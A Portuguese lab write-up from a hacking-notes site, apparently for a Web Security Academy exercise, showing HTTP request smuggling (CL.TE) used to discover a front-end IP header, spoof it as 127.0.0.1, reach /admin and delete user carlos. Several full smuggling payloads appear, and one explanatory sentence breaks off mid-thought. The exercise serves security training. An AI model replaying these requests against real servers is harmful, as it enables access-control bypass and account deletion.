> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md).

# Descoberta de Reescrita pelo Front-End

### Explorando HTTP Request Smuggling para revelar a reescrita de requisições do front-end

O site é baseado em um servidor front-end e um servidor back-end. O front-end\*\* não aceita chunked encoding\*\*. / O acesso ao painel de administração /admin é reservado para usuários de **127.0.0.1**. / Antes de encaminhar as requisições para o back-end, o front-end \*\* adiciona um cabeçalho personalizado contendo o endereço IP do cliente\*\*. Esse comportamento parece com o clássico X-Forwarded-For, mas o nome do cabeçalho é diferente.

O objetivo é duplo:

1. **Envie uma requisição** para revelar o nome desse cabeçalho adicionado pelo front-end.
2. **Envie uma** requisição disfarçada contendo esse cabeçalho, forçando-o ao valor 127.0.0.1, para acessar o painel de administração e excluir o usuário carlos.

<figure><img src="/files/8c389a5746037a19b42bbdf01b1d489af30c9e71" alt=""><figcaption></figcaption></figure>

#### **Análise comportamental**

* O campo enviado no parâmetro de pesquisa é retornado na resposta, mostrando que podemos usá-lo para observar os efeitos das nossas injeções.
* Enviando:

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

a requisição é processada sem erro (200 OK), o que confirma que **o front-end interpreta Content-Length**, enquanto **o back-end ignora Transfer-Encoding**.

* Ao contrabandear uma requisição POST adicional:

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

os bytes excedentes (aqui,

* Ao aumentar o Content-Length para 125, a resposta expõe o cabeçalho adicionado pelo front-end. / Esse cabeçalho é:

```http
Content-Length: 125
```

<figure><img src="/files/07263b31c6af91b6d7cba04eb9718bf7918f7545" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="/files/6451f7ed0eb813afa72fa7a891f18f94d1e587b9" alt=""><figcaption></figcaption></figure>

#### **Acesso ao Painel de Administração**

Ao forjar uma requisição disfarçada que inclua esse cabeçalho forçado para **127.0.0.1**, você obtém acesso a /admin:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="/files/3f915faff50014119a9a5e7a86195d56ba17ed5a" alt=""><figcaption></figcaption></figure>

#### **Exclusão do usuário Carlos**

Uma segunda requisição disfarçada permite chamar diretamente o endpoint de exclusão:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

O usuário carlos é então excluído pelo back-end, fazendo parecer que se trata de uma requisição interna autorizada.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
